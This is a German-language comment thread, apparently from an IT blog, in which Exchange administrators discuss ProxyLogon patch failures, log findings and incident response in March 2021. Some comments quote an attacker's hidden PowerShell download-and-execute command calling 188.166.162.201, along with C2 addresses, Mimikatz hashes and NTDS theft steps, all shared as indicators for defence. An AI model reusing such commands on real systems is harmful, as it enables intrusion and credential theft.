    Configured temporary ASP.NET files path
    %Exchange Server Installation%\FrontEnd\HttpProxy\ecp\auth\*

    These remediation steps are effective against known attack patterns but are not guaranteed as complete mitigation for all possible exploitation of these vulnerabilities. Microsoft Defender will continue to monitor and provide the latest security updates.

    Antworten
  27. Hallo zusammen,

    das Update bei unserem Exchange 2013 lief garnicht gut. Während des Updates kam es zu einer Fehlermeldung, dass kein Zugriff auf den Pfad oder Datei C:\Prgramm Files\Microsoft\Exchange Server\V15\TransportRoles\agents möglich sei (den Pfad habe ich aus der Erinnerung, leider kein hundertprozentige Sicherheit)
    Das Progamm führte eine Rollback aus, ansonsten keine Fehlermeldung.

    Allerdings starten nun die Exchange Dienste nicht mehr. Verursacher ist der Exchange AD Topologiedienst Fehler 1053 Dienst antwortet nicht rechtzeitig auf die Start- oder Steuerungsanforderung. Im Log findet sich folgender Hinweis:

    Name der fehlerhaften Anwendung: Microsoft.Exchange.Directory.TopologyService.exe, Version: 15.0.1497.6, Zeitstempel: 0x5e0d9cb9
    Name des fehlerhaften Moduls: KERNELBASE.dll, Version: 6.3.9600.19724, Zeitstempel: 0x5ec5262a
    Ausnahmecode: 0xe0434352
    Fehleroffset: 0x0000000000007afc
    ID des fehlerhaften Prozesses: 0x1810
    Startzeit der fehlerhaften Anwendung: 0x01d7135c2269551c
    Pfad der fehlerhaften Anwendung: C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Directory.TopologyService.exe
    Pfad des fehlerhaften Moduls: C:\Windows\system32\KERNELBASE.dll
    Berichtskennung: 601d080d-7f4f-11eb-80ec-0050569a0e3c
    Vollständiger Name des fehlerhaften Pakets:
    Anwendungs-ID, die relativ zum fehlerhaften Paket ist:

    Windows Update habe ich auch ausgeführt, keine Verbesserung. Bin ehrlich gesagt ratlos, zumal ich nicht der Exchangeexperte bin.

    Grüße
    Torsten Sattler

    Antworten
    • Tippe das Update wurde nicht mit erhöhten Rechten installiert. (Ist mir auch schon passiert und hatte alles zerschossen)

      Glaube weiter oben hat jemand geschildert, wie die Dienste wieder zu reparieren sind.

      Grüße

      Antworten
    • Also….

      – KB 5000871 konnte ich nicht deinstallieren. War irgendwie klar, wurde ja auch ein Rollback ausgeführt…
      – Erneute Installation von CU23 (bei Exchange 2013) über Setup.exe läuft in Fehler (Kein Exchange…kann ich nachvolziehen, Dienste laufen ja nicht). Ausführung über Exchangeserver.msi meldet einene Erfolg, aber anschließend, auch noch Neustart, keine Besserung.
      – UpdateCas.ps1 und UpdateConfigFiles.ps finde ich nicht, vemutlich erst ab Exchange 2016…oder ich übersehe was.

      Resumee: Dienste starten einfach nicht

      …bleibe dran

      Antworten
    • Hier jetzt zusammen gefasst:

      Das Problem konnte durch die durchlaufende Installation Exchange2013 KB 5000871 gelöst werden. Allerdings brach die Installation immer beim Beenden(wollen) der Dienste ab (laufen ja nicht mehr).

      Abhilfe schafft die Anlage der Datei „profile.ps1“ im Verzeichnis \Windows\System32\WindowsPowerShell\V1.0 mit dem Eintrag „New-Alias Stop-SetupService Stop-Service“

      Interessanterweise scheint dies schon bei älteren Sicherheitspatches und über alle Exchangeversionen vorgekommen zu sein.

      https://www.frankysweb.de/exchange-2016-neues-sicherheitsupdate-fuer-cu10-und-cu11/
      (hier mal noch „profile.ps1“ suchen)

      Besser und aktueller wird es hier erklärt (er spricht mir übrigens aus der Seele):
      https://www.reddit.com/r/exchangeserver/comments/lxfd8u/2013_kb5000871_killed_my_server_and_this_just/

      Somit wäre dieses Thema erledigt.
      Leider habe nun auch ich entdeckt (via Test-ProxyLogon.ps1- wurde oben schon sehr gut beschrieben), dass es am 5.3 zu dubiosen Änderungen kam.

      Mit MSERT.exe wurde der Exploit:ASP/CVE-2021-27065.B!dha erfolgreich entfernt.

      Zurzeit suche ich jetzt noch Änderungen im System, auch über den Link zu Hernandez (auch oben schon beschrieben). Bis jetzt macht es den Eindruck, als ob keine erfolgreiche Kompromitierung stattfinden konnte.

      Ich glaube allerdings, dass wir erst die kleine Spitze des Eisbergs sehen und diese Problematik noch sehr weitreichend werden wird.

      Gruß
      Torsten

      Antworten
  28. Bei uns hat es die Suche zerschossen. OWA schmeißt einen Fehler „Beider Suche ist ein Fehler aufgetreten“, nach dem unser Dienstleister das Zero Day Update installiert hat.
    Hat das noch jemand festgestellt?

    Antworten
  29. Ich habe jetzt 2 Systeme gesehen, die attackiert wurden und am Freitag den Patch bekommen haben. Das war aber schon zu spät. Dort liefen Powershells die über die Aufgabenplanung alle 40min neu gestartet wurden. Diese Tasks wurden auf weitere Server verteilt und nicht nur auf dem Exchange zu finden. Ziel der Powershell ist eine IP-Adresse 188.166.162.201.
    Da hilft es wohl nur alles neu zu machen oder mit den Backups eine Woche zurückzugehen.

    Antworten
    • @Frank
      Vielen Dank für den Hinweis. IP-Adresse gleich mal allen Firewalls in die Blacklist eingetragen.
      Welchen Namen hatte die Task in der Aufgabenplanung bei dir? Sicher dass es durch die aktuellen Sicherheitslücken verursacht wurde?

      Antworten
      • Die beiden Task hießen winnet und sync.
        Es waren 2 voneinander unabhängige Kunden mit genau denselben Tasks in der Aufgabenplanung. Auch wurden dort aspx-Dateien in den besagten Ordner gefunden. Die Tasks wurden erst am Wochenende angelegt.

        Antworten
        • Hallo,

          bei uns wurde versucht, noch vor Installation der Patches, die Externe URL vom OABVirtualDirectory zu ändern. Dies ist aber zum Glück misslungen. Danach wurde das angelegte OAB Verzeichnis wieder gelöscht und ein neues erstellt (Default Web Site). Man kann dies gut am Datum erkennen (entweder in der Gui oder Shell).

          Zum Glück keinen Hinweis auf die Tasks, auf keinem Server, auch keine aspx-Dateien.

          Grüße

        • jetzt nochmal etwas genauer.
          Es wird folgender Befehl alle 40min ausgeführt:
          powershell -nop -ep bypass -e SQXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX <– die XXX sind ersetzt, da ich nicht weiß ob in dem String Daten des Kunden stehen.
          Im Taskmanager läuft dann folgendes:
          powershell -nop -w hidden -ep -bypass -c "IF(New.ObjectNetWebClient).downlostring"'http://188.166.162.201/update.png?v………………………………

        • Jetzt wird es eklig.

          Das ist genau das was Huntress am 5.03 vermeldet hat.
          https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers
          und hier
          https://twitter.com/KyleHanslovan/status/1368075467262226433

          Die IP Adresse wurde am 5. beim Provider gemeldet. Vielleicht haben die inzwischen dicht gemacht.

          Die Update.png ist wohl die Stuffe 3 bei der Ausführung. Es werden Daten über die Umgebung weitergeben und Angriffsvektoren nachgeladen.

          Es kommt dann eine obfuskierte 6 MB Datei und danach noch 2 DLL von Mimikatz.
          32bit – D58A41A393F4B9A406226689F29C7017CA20F788
          64bit – FA8E53CB3497CBF81CFEE0DDBF171DE98B83211D

          Die dekodierten Skripte findet man hier, aber VORSICHT, nicht ausführen! Das sind die Dinger die angreifen.
          https://gist.github.com/JohnHammond

          Die Scripte versuchen zuerst 2 Domains aufzulösen und wenn dies nicht klappt, dann wird die besagte IP angesteuert.

          Die 2 Domains werden von der Sophos UTM als C&C Verkehr geflagt sobald für diese DNS Anfragen raus-gehen.

          Ich hatte die IP am 5.3 gleich in die Firewall gesperrt.

          Wie kann man eigentlich prüfen ob diese Skripte laufen? Reicht es mit SCHTASK /query über die Powershell zu schauen? Oder können diese Skripte sich vor der „Aufgabenplannung“ tarnen?

    • Wenn das Zeug auf andere Server drauf ist, dann ist es wahrscheinlich bis zu Stuffe 5 oder 6 auf den Exchange Servern vorgedrungen. Siehe mein Post weiter unten.

      Antworten
      • John Hammond von Huntress hat gerade ein Video bei Youtube freigeschaltet wo er auf die ganzen Payloads eingeht die diese Tasks erstellen und was diese wohl bewirken. Der Code ist zwar in seinem Github, aber im Video erklärt er 1-2 Sachen dazu.

        https://www.youtube.com/watch?v=rn-6t7OygGk

        Da haben einige Leute sich sehr viel Mühe gegeben bei der Erstellung der Payloads, damit diese nicht so leicht entdeckt werden. Die Auswirkung sind brisant… Weiterverbreitung über SMB im Netzwerk und Abgriff von Daten über net.exe, Mimikatz und co.

        Antworten
  30. Hallo,

    ich habe erst heute von der Schwachstelle erfahren und mich sofort ans patchen gemacht. Naja zumindest wollte ich es.
    Zunächst musste ich von CU 16 auf CU 19 Upgraden, hat ohne Fehler funktioniert.
    Nach der Installation von CU 19 habe ich den Patch ausführen wollen. Einmal über die Administrative Eingabeaufforderung und über die Windows Update Funktion. Ich bekomme bei der manuellen Ausführung den Fehler das der angemeldete Benutzer nicht genügend Rechte hätte. Darauf hin habe ich den lokalen Administrator verwendet, jedoch das gleiche Problem.

    Ich bekomme den Patch nicht als Domänen Admin und auch nicht als lokaler Admin installiert. Beides mal wird die Installation mit dem Hinweis „nicht ausreichend Rechte des angemeldeten Benutzer“ abgebrochen. Die Windows Updatefunktion sagt nur aus das es bei der Installation Fehler gab.

    Hat jemand von euch eine Idee woran das liegen kann?

    in den Logs zur Schwachstelle habe ich folgendes gefunden.

    IP-Adresse 1: 103.135.248.70
    IP-Adresse 2: 213.32.39.38

    mittelst POST übertragende Datei: x.js

    HttpStatus Code: 500 bei allen Einträgen.

    Berichtigt mich wenn ich was falsches sage. Doch der Fehler 500 sagt ja aus das es einen internen Serverfehler gab. Ich gehe daher mal davon aus das keine Dateien übertragen wurden. Ich kann zumindest nichts in den Ordnern finden die im LOG angegeben waren.

    Gruß
    TomTom

    Antworten
    • Auch wenn es ein 500er gewesen sein sollte – heißt nicht unbedingt, dass der Exploit nicht funktioniert hat.

      Die Exchange-Server werden gerade in massiv schneller Geschwindigkeit angegriffen. Vermutlich bist du schon zu spät. Geh lieber auf Nummer sicher und hol dir ein Backup und installier neu. Mein Server war bereits am 03. März in der Nacht betroffen, ich war also mit meinem Update am Mittwochabend schon zu spät dran.

      LG
      Markus

      Antworten
      • Hallo Markus,

        ich hatte mich an dem Strohhalm festgehalten aber anscheinend ist er abgeknickt.
        Ich nehme mir dann mein Backup zur Hand.

        Danke für die Antwort.

        Gruß
        TT

        Antworten
  31. Hi Tomtom,

    ich will ja nicht ja sagen, aber fürs Patchen ist es wahrscheinlich schon zu spät. Es ist sehr wahrscheinlich, dass der Server schon befallen wurde.

    Hast du den Server vom Netz getrennt?

    Wenn du von POST einer x.js schreibt, dann gehe ich davon aus, dass du das aus den ECP logs hast, richtig?

    Viele andere Leute haben ähnliche Einträge, die Datei aber auch nicht gefunden. Es gut möglich, dass diese ausgeführt würde und dann eine CMD Shell oder so ausgeführt hat und die Datei danach gelöscht würde, das wissen wir aktuell nicht.

    Hast du einen HttpStatus Code: 500 für einen Zugriff auf /rprc/ oder worauf?

    Hast du das TestHafnium Skript, mittlerweile Test-ProxyLogon.ps1 ? siehe hier: https://github.com/microsoft/CSS-Exchange/tree/main/Security

    Hast du Webshells in Verzeichnisse? wie dem IIS wwwroot/asp_client/ oder in den Exchange Verzeichnisse /owa/ /ecp/ oder /oab/ oder im HttpProxy ?

    Hast du Tasks am Laufen auf dem Server mit Namen winnet und Sync ?

    Gruß

    Alex

    Antworten
    • Hallo Alex,

      das Skript war das erste was ich ausgeführt habe. Das Skript hat mir dann eine *-CVE-2021-26855.csv Datei erstellt, in dieser habe ich die Informationen gefunden.

      Den Server habe ich sofort vom Netz genommen. Er galt für mich ab diesen Moment als Kompromittiert.

      Die Einträge in der generierten CSV bezogen sich alle auf /owa/auth/ und /ecp/default und bei diesen Einträgen steht der HttpStatus auf 500.

      In der Aufgabenplanung habe ich keine Aufgaben mit dem Titel winnet oder Sync gefunden.

      Web-Shells sind vermutlich nicht installiert worden aber sie können auch in anderen Dateien versteckt worden sein. Da bin ich mir aber nicht sicher.

      Ich habe mir den Server aus einem Backup wiederhergestellt. Werde jetzt erstmal wieder das CU 19 installieren und anschließend nochmal versuchen den Patch zu installieren.

      Ich werde mich nochmal melden.

      Ich bedanke mich für die Unterstützung.

      Gruß
      TT

      Antworten
      • Hi Tomtom.

        freue mich zu hören, dass du keine Tasks gefunden hat. Hast du auch die anderen Server bei dir im Netz überprüft?

        Von wann waren deine Einträge? War der Server zu dieser Zeit gepatcht?

        Server aus Backup wiederherzustellen war denke ich die richtige Wahl. Habe ich hier auch gemacht.

        Wenn ich helfen kann ,dann tue ich es gerne.

        Bei so einer Sache ist zusammenhalt am wichtigsten. Das machen die Sicherheitsforscher aktuell auch und deshalb sind wird auch in der Lage so schnell auf das Problem zu reagieren. Huntress werden wir denke ich einiges zu verdanken haben. Die haben sehr schnell ihre Ergebnisse kommuniziert. Bei so einer Sache hat man nur als Meute eine Chance… Wenn wir mit den Absicherungen durch sind, dann sollte auch die Jagt nach den Verursachern stattfinden, weil so-was sollte man niemanden durchgehen lassen.

        Wir haben dieses mal leider eine sehr schlechte Ausgangssituation gehabt. Eine Schachpartie wo der Gegner schon ein paar Züge voraus hat ist nie gut.

        Microsoft scheint jetzt auch langsam in Pushen zu kommen mit Skripten und co. Zwar etwas spät für die die schon gepatcht und Mitigation betrieben haben wie die meisten hier ab dem 3., aber immerhin besser als nichts.

        Und je mehr Möglichkeiten wir haben Kompromittierungen auszuschließen, desto besser.

        Gruß

        Alex

        Antworten
  32. Moin Alex,

    mir geht es auch so. Ich habe „nur“ zwei Einträge in den Exchange LOGs mit Status 500.

    Kein Tool (MSERT SOPHOS Intercept X, detectwebshell )hat etwas gefunden.

    Zur gleichen Zeit finde ich auf der Firewall LOGs (Sophos UTM Web Application Firewall) mit Status 403 und 302 von der gleichen IP.

    Ich habe keine Webshells gefunden oder einen Task am laufen.

    Der Exchange ist aber jetzt gepatched.

    Ein Restore aus dem Backup wäre gerade der Horror ….

    LG Chris

    Antworten
    • Moin Chris,

      ganz ehrlich ,der Horror könnte ein ganz anderer werden wenn die Angreifer es geschafft haben sich weiterzuverbreiten.

      Bist du sicher, dass du nur 2 Einträge hast? Bei mir hatte das Skript auch nur die Einträge zu der Autodiscover.xml gefunden.

      Das mit dem POST in der /ECP/ habe ich dann selber gefunden als ich die ECP Logs durchgegangen bin.

      Wir haben auch die UTM am laufen, da habe ich mir aber die Logs vom Angriff nicht genauer angeschaut. War auch nicht nötig, weil ich beschlossen hatte den Server aufzugeben. Könnte ich aber in den kommenden Tagen nachholen, sobald ich etwas mehr Gewissheit habe, dass wir sicher sind.

      Ich verfolge jetzt auch die Logs in der UTM und sehe da viele 403 und 302 von verschiedenen IPs. Bei uns sind /ecp/ /owa/ /rpc/ und /oab/ von außen nicht mehr erreichbar. Patches drauf und Rewrite Rules für den IIS. die UM Dienste sind ausgeschaltet.

      Am liebsten würde ich auch /EWS/ und /ActiveSync/ sperren, aber dann kriegen die Mitarbeiter draußen keine Emails mehr… und für reinen VPN Betrieb sind unsere Internet Leitungen nicht stark genug :(

      lg

      Alex

      Antworten
  33. Guten Morgen,

    ich habe bei uns den Exchange 2016 sicherheitshalber auch vom Netz genommen. Ich restore gerade mit Veeam in der Testumgebung. Bei uns ist es nicht so schlimm, da wir bereits in der Hybrid Umgebung sind und alle Postfächer bereits bei O365 laufen.
    Hat noch jemand so eine Umgebung und kann was dazu beitragen.

    Besten Dank und Euch allen gutes gelingen.

    Vg Rainer

    Antworten
    • Hallo Rainer,

      nicht so schlimm? Hast du mal überprüft ob auf dem Server die Exploits ausgenutzt wurden und vielleicht Software nachgeladen wurde?

      Die Angreifer haben aktuell nicht mehr das Ziel Emails abzuziehen… Hafnium ist längst ausm Spiel, hier sind neue Akteure am Werk und die wollen die Kontrolle der Netzwerke bekommen.

      Schau dir mal was Frank weiter oben bezüglich seinen beiden Kunden berichtet hat mit den Tasks mit Powershell und so.

      Im Moment sind nicht deine Email in Gefahr, sondern dein lokales Netz… also prüfe genau ob sich da nicht etwas gerade in dein lokales Netz über SMB verbreitet. Auch ob auf deinen Server nicht Tasks ausgeführt werden wie winnet und sync, die da nichts zu suchen haben.

      vg

      Alex

      Antworten
    • Ich habe diese Datei auch gerade laufen lassen. Hat etwas gedauert ja, aber das Ergebnis hat mich echt nicht erfreut. Ausnahmslos jede Datei ist da mit einem „is extra or edited“ markiert. :(
      Nun muss ich schauen ob dies bei einem frischen Exchange Server ebenso aussieht.

      Antworten
      • Jede Datei ist aber auch etwas sehr eigenartig…
        Kann ich mir fast nicht vorstellen, dass der Angriff so aufwändig aufgebaut ist.
        Gibts schon irgendwo Guidelines zu dem Script?

        Antworten
      • Bei mir war die *.csv Datei leer. Evtl. kannst Du mal eine Datei mit dem angegeben Hash-Wert manuell vergleichen. Dann siehst Du ob dieser abweicht.

        Antworten
      • Da scheint etwas nicht mit dem Script zu stimmen. Ich habe es eben auf einen neuen Exchange 2019 laufen lassen.
        Komplett neues Netzwerk, war noch nie online.

        184 MB xml Datei mit lauter „is extra or edited on this server“ Meldungen. :-/

        Antworten
    • Ich habe das Skript durchlaufen lassen. Hat nur eine halbe Stunde gedauert – allerdings haben wir auch nur 12 Postfächer. Exchange Server 2016 CU 19

      Antworten
      • Na toll, hab das Script jetzt etliche Stunden laufen lassen nur um festzustellen, dass es verbuggt ist -.-

        Na dann, eben nochmal mit der neuen Version…

        Antworten
    • Also bei mir läuft er auch seit 3 Stunden… aber der Server hatte alle Exchange 20106 CU ab der 8 bis zur 19. Deshalb dauert es wohl auch so lange.

      Ich werde berichten sobald es bei uns durch ist.

      Antworten
  34. Es gibt von seitens MS jetzt einen Artikel mit ein paar nützlichen Scripts.

    https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log

    Vielleicht helfen die jemanden. Das Skript unter dem CVE-2021-26855 Eintrag scannt nochmals die LOG – Files und prüft auch die Methode POST oder GET.

    Ich habe weiterhin meine zwei Einträge in den LOGs allerdings war es kein POST sondern ein GET. Da sonst nichts auffällig ist, denke ich das ich nochmal richtig Dussel hatte.

    DateTime : 2021-03-08T03:01:57.471Z
    AnchorMailbox : ServerInfo~localhost/owa/auth/logon.aspx?
    UrlStem : /ecp/default.flt
    RoutingHint : X-BEResource-Cookie
    ErrorCode : InternalServerError
    TargetServerVersion : 0.00.0003.000
    BackEndCookie :
    GenericInfo : BeginRequest=2021-03-08T03:01:57.081Z;CorrelationID=;ProxyState-Run=None;FEAuth=BEVersion-3;ProxyToDownLevel=True;ProxyState-Complete=Prepar
    eServerRequest;EndRequest=2021-03-08T03:01:57.471Z;I32:ATE.C[servername]=1;F:ATE.AL[servername]=0;I32:ADS.C[servername]=1;F:
    ADS.AL[DC01]=3.1855
    GenericErrors : HttpException=System.Web.HttpException (0x80004005): NegotiateSecurityContext failed with for host ‚localhost‘ with status ‚TargetUnknown‘ bei
    Microsoft.Exchange.HttpProxy.KerberosUtilities.GenerateKerberosAuthHeader(String host Int32 traceContext AuthenticationContext&
    authenticationContext String& kerberosChallenge) bei
    Microsoft.Exchange.HttpProxy.ProxyRequestHandler.c__DisplayClass12.b__10() bei
    Microsoft.Exchange.HttpProxy.LatencyTracker.GetLatency(Action operationToTrack Int64& latency) bei
    Microsoft.Exchange.HttpProxy.ProxyRequestHandler.PrepareServerRequest(HttpWebRequest serverRequest) bei
    Microsoft.Exchange.HttpProxy.ProxyRequestHandler.CreateServerRequest(Uri targetUrl) bei
    Microsoft.Exchange.HttpProxy.ProxyRequestHandler.b__15();
    UrlHost : localhost
    Protocol : Ecp
    Method : GET
    RoutingType : CrossRegion
    AuthenticationType : FBA
    ServerHostName : servername
    HttpStatus : 500
    BackEndStatus :
    UserAgent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML like Gecko) Chrome/69.0.3497.81 Safari/537.36

    DateTime : 2021-03-08T03:01:57.487Z
    AnchorMailbox : ServerInfo~localhost/ecp/default.flt?
    UrlStem : /owa/auth/x.js
    RoutingHint : X-AnonResource-Backend-Cookie
    ErrorCode :
    TargetServerVersion : 0.00.0003.000
    BackEndCookie :
    GenericInfo : BeginRequest=2021-03-08T03:01:57.065Z;CorrelationID=;ProxyState-Run=None;FEAuth=BEVersion-3;ProxyToDownLevel=True;NewConnection=::1&0;BeginGetResponse=2021-03-08
    T03:01:57.065Z;OnResponseReady=2021-03-08T03:01:57.471Z;EndGetResponse=2021-03-08T03:01:57.471Z;ProxyState-Complete=ProxyResponseData;EndRequest=2021-03-08T03:01:57.487
    Z;
    GenericErrors : WebExceptionStatus=ProtocolError;ResponseStatusCode=500;
    UrlHost : servername
    Protocol : Owa
    Method : GET
    RoutingType : CrossRegion
    AuthenticationType : FBA
    ServerHostName : servername
    HttpStatus : 500
    BackEndStatus : 500
    UserAgent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML like Gecko) Chrome/69.0.3497.81 Safari/537.36

    Viel Erfolg euch :-)

    Antworten
    • Ich will dich nicht unnötig beunruhigen, aber das du nur GET Anfragen gefunden hast ist nichtssagend.

      Hast du in den ECP Logs die POSTS überprüft? in den OWA Logs?

      Diese GET Anfragen stammen wohl von Akteuren die speziell bei den Servern nach den kompromittierenden Servern mit den Dateien suchen. Sprich die wollen feststellen ob diese Dateien auf dem Server drauf sind. Und wenn dann Error 500 kommt, dann würde ich mich nicht in Sicherheit wiegen. Warum kam nicht eine 404? Also „Datei nicht gefunden“?

      Sind diese Dateien bei dir aufm Server? Wenn ja, dann solltest du dir diese schleunigst auf deren Inhalt anschauen.

      Diese GET Anfrangen tauchen seit dem 4. März vermehrt auf. Wie einer es so schön formuliert hat „The Internet is aware“. Sprich alle Wissen was los ist und jetzt wird nach den Opfern gesucht.

      Microsoft hat auch soeben neue Dateinamen und Ablageort bekannt gegeben über deren Webseite.

      Direkter Link zur CSV wo die Hashes der Dateien und deren Ablageorte: https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.csv

      Antworten
  35. Ich habe eine Frage bzgl. der Exchange Build Version. Nach dem Einspielen des Sicherheitsupdates für Exchange 2016 CU 19 wird in der Powershell mit „Get-ExchangeServer“ weiterhin die Version 15.1.2176.2 angezeigt. Ein Check der von MS veröffentlichten Dateiliste für den Update ergab, dass die dll / exe Dateien die Version 15.1.2176.9 haben. Ist dies normal dass der Befehl Get-ExchangeServer nicht die aktuelle Build Version anzeigt?

    Antworten
    • Hi,

      ich verwenden immer diese Abfrage
      Get-ExchangeServer | Format-List Name,Edition,AdminDisplayVersion

      Vielleicht hilft das :-)

      Antworten
    • Ja, das ist normal, weil es ein Sicherheitspatch ist und somit nicht überall diese Änderung in der Exchange Version reflektiert wird.

      Ich bin auch erstmal irre geworden weil die Befehle über die Powershell nur die CU19 Produktversion ausspuckte.

      Prüfe mal die Datei Microsoft.Exchange.RpcClientAccess

      Zu finden unter /Exchange Server/Bin/ also im Bin Verzeichniss des Installationsverzeichnis deines Exchange Server.

      In den Details sollte als Datenversion 15.1.2176.9 stehen und Produktversion 15.01.2176.009

      Steht es da, dann sollte der Patch angewendet sein. Steht eine niedrigere Version, dann ist der Patch wohl nicht sauber durchgelaufen oder er wurde noch nicht angewendet.

      Antworten
      • Hallo Alex,
        hatte ich bereits gemacht – Version ist *.9.

        @Stephan: Danke für den Tipp – Gold Wert! Die Version ist 15.1.2176.009 – somit alles im grünen Bereich.

        Danke an alle für die schnelle Hilfe – Top!

        Antworten
  36. Ist bei irgend jemanden das Script CompareExchangeHashes.ps1 schon erfolgreich gelaufen?
    Läuft bei mir jetzt über 3x Stunden und steht 5x in „Processing 3 directories in parallel“

    Grüße Rainer

    Antworten
      • Bei mir ist es durch!
        Ergebnis wäre ok!

        Bei uns hat sofort nach dem POST der Defender angeschlagen und die Webshell blockiert.
        Bin aber dennoch unsicher ob wir den Server nicht neu machen sollen …

        CompareExchangeHashes.ps1 Output:

        System.Collections.Hashtable
        System.Object

        Exchange_Version
        15.2.792.3

        Antworten
        • Objs Version=“1.1.0.1″ xmlns=“http://schemas.microsoft.com/powershell/2004/04″
          Obj RefId=“0″
          TN RefId=“0″
          TSystem.Collections.Hashtable/T
          TSystem.Object/T
          /TN
          DCT
          En
          S N=“Key“Exchange_Version/S
          S N=“Value“15.2.792.3/S
          /En
          /DCT
          /Obj
          /Objs

  37. Wir sind gepatcht, nachdem es uns auch getroffen hat. Jetzt geht es ums Vorbeugen, damit es nicht mehr so leicht passieren kann. Ja ich weiß, es kann immer passieren.

    Die Frage, die sich für uns jetzt stellt: Wir haben keine Firewall und auch den Server sonst nicht irgendwie abgeschirmt.

    Würde ein nginx-Proxy mit mod_security Firewall zum OWA hin etwas bringen? Was wären so eure Tipps? Danke!

    Antworten
  38. Hallo zusammen,

    da das Thema ja doch eine extreme Reichweite hat, bitte ich um Einschätzung des folgenden Szenario.

    Exchange 2016 mit CU18 und zwischenzeitlich auch dem Sicherheitsupdate
    Der Exchange hat für keinen Dienst eine externe URL konfiguriert, OWA, ECP etc. ist nur intern erreichbar. In der öffentlichen DNS-Zone der Domain gibt es somit auch keinen Record der auf die IP-Adresse des Exchanges verweist, wäre bedingt durch die dynamische IP-Adresse des Standortes ohnehin nicht möglich.
    Die eMails werden von einem externen Linux Mailserver per POPCon (POP3S) abgeholt
    Das Test-Script von MS hat keine Auffälligkeiten angezeigt

    Ich bin ohnehin der Meinung, dass auch ohne das Sicherheitsupdate das System nicht angreifbar wäre oder habe ich hier etwas übersehen? Freue mich auch Rückmeldung zur finalen Beruhigung.

    Antworten
    • Wenn Exchange Linux Mailserver / Smarthost sicher aufgestellt sind, dann war dein System bei der Konfiguration nur von Außen nicht angreifbar.
      In deinem internen Netzwerk sind die Exchange Dienste weiterhin erreichbar, müssen sie auch sein. Wenn Schadsoftware auf irgendeinem Weg in dein internes Netzwerk gelangt (ein Punkt von dem man ausgehen sollte, da Clients, darauf installierte SW und der menschliche Faktor das größte Sicherheitsrisiko darstellen (sei es auch nur ein Homeoffice-PC)), kann der „Angreifer“ genauso gut die gesamte Domain kompromittieren und Daten über kompromittierte Clients abziehen.
      Daher ist der Sicherheitspatch auf jeden Fall notwendig, auch wenn der Exchange nicht von außen erreichbar ist.

      Antworten
  39. Also ich finde nichts in den logs. alle exchange virtual directories sind nun nur mehr über vpn erreichbar. ist natürlich keine super lösung, da einige nun nicht wirklich rein können. Vorher hatten wir Sophos UTM WAF. denkt ihr es ist sicher, den Zugang wieder über die WAF zu erlauben?
    danke für euren input!

    Antworten
  40. Guten Abend alle zusammen,

    ich habe keine guten Nachrichten für die die wie wir von der IP Adresse 86.105.18.116 Besuch hatten.

    Huntress hat heute in seinem Tradecraft Tuesday auf andere Akteure hingewiesen.
    Siehe hier: https://www.huntress.com/resources/tradecraft-tuesday

    Truesec hat wohl nachverfolgen können was die Angreifer mit der IP 86.105.18.116 vorhatten.
    Siehe https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/

    Die Webshells wurden wohl als Systemerweiterungen und versteckte Dateien angelegt. Wer also nicht in den Optionen die Option raus-genommen hat sich die Systemerweiterung nicht anzeigen zu lassen, der könnte die Webshells übersehen haben.

    Ferner sind die Webshells nicht das einzige Ziel der Angreifer.

    Diese versuchen dann im User/Public den Opera Browser zu nutzen um Payploads nachzuladen.

    Anschließend wird ein provisorischer Task „Test“ und dann eine Task „VSPerfMon“ gestartet. Die Datei befindet sich unter C:\ProgramData\VSPerfMon\VSPerfMon.exe und lädt dann eine vspmsg.dll rein.

    Anschließend wird Kontakt zur Webseite http://www(.)licensenest(.)com aufgenommen um weitere Infos zu bekommen.

    Danach versucht das System sich weiter seitwärts zu Verbreiten über entfernte Task Installation mittles VSPerfMon oder über Remote Service Installation (Variante von lmpacket und smbexec tools).

    Auch wird der Versuch unternommen über vssadmin die Schattenkopien der Active Directory NTDS Datenbank gesucht und abgesaugt.

    Im Link weiter oben stehen alle Dateien wonach aufm Server gesucht werden sollte.

    Auch wenn diese Dateien nicht gefunden werden, so muss davon ausgegangen werden, dass die Active Directory NTDS Datenbank entwendet worden ist. Somit sollten zur Sicherheit alle Passwörter aller Nutzer geändert werden. Genauso wie für den User der die Kerberos Tickets erstellt.

    Wer also einen Server bei sich hat der Besuch von 86.105.18.116 hatte, und der Server ist noch in Betrieb, der sollte schnellsten handeln.

    Laut Truesec waren die Domains am 7. März wohl nicht mehr erreichbar.

    Wir konnten bei uns keine Spuren finden, werden aber trotzdem alle Passwörter jetzt ändern und nicht nur die administrativen wie bis jetzt.

    Gruß

    Alex

    Antworten
    • Es gibt wohl weitere Neuigkeiten die aber noch nicht öffentlich sind.

      Wer in den Logs diese x.js oder y.js mit einer Python Request hat, der muss um die Sicherheit seiner Daten fürchten.

      Ich zietere mal: „f you don’t find a webshell but you have entries in your logs with “python” user agents, that have references to “x.js” or “y.js” (or another random named .js) you may have mad data compromise.“

      Siehe die Quelle hier: https://www.pwndefend.com/2021/03/07/checking-for-hafnium-or-other-groups-impact-from-exchange-abuse/

      Es ist noch nicht klar ob die Angriffe von 86.105.18.116 sich nur so abgespielt haben wie von Truesec bisher bekannt gegeben.

      Der Grund warum wir die y.js oder x.js nicht gefunden haben könnte daran liegen, dass diese nach dem Exploit gelöscht wurden, oder das diese als „Systemdatei“ unsichtbar gemacht wurde, so dass diese nur erschien wenn die Systemdateien angezeigt werden. Die Option „Alle versteckte Dateien anzeigen“ wie wir sie alle kennen zeigt diese Systemdateien eben nicht an.

      Gruß

      Alex

      Antworten
      • Wo findet ihr denn die python Einträge?
        Ich hatte auch an einer Stelle Besuch von der 85.105.18.116.

        Was ich bei mir finde sind Meldungen über das Test-Hafnium Skript von Microsoft:
        2021-03-03T05:07:21.340Z“,“ServerInfo~a]@server.domain.int:444/autodiscover/autodiscover.xml?#“

        Bei weiterer Suche finde ich den Autodiscover-Logs:
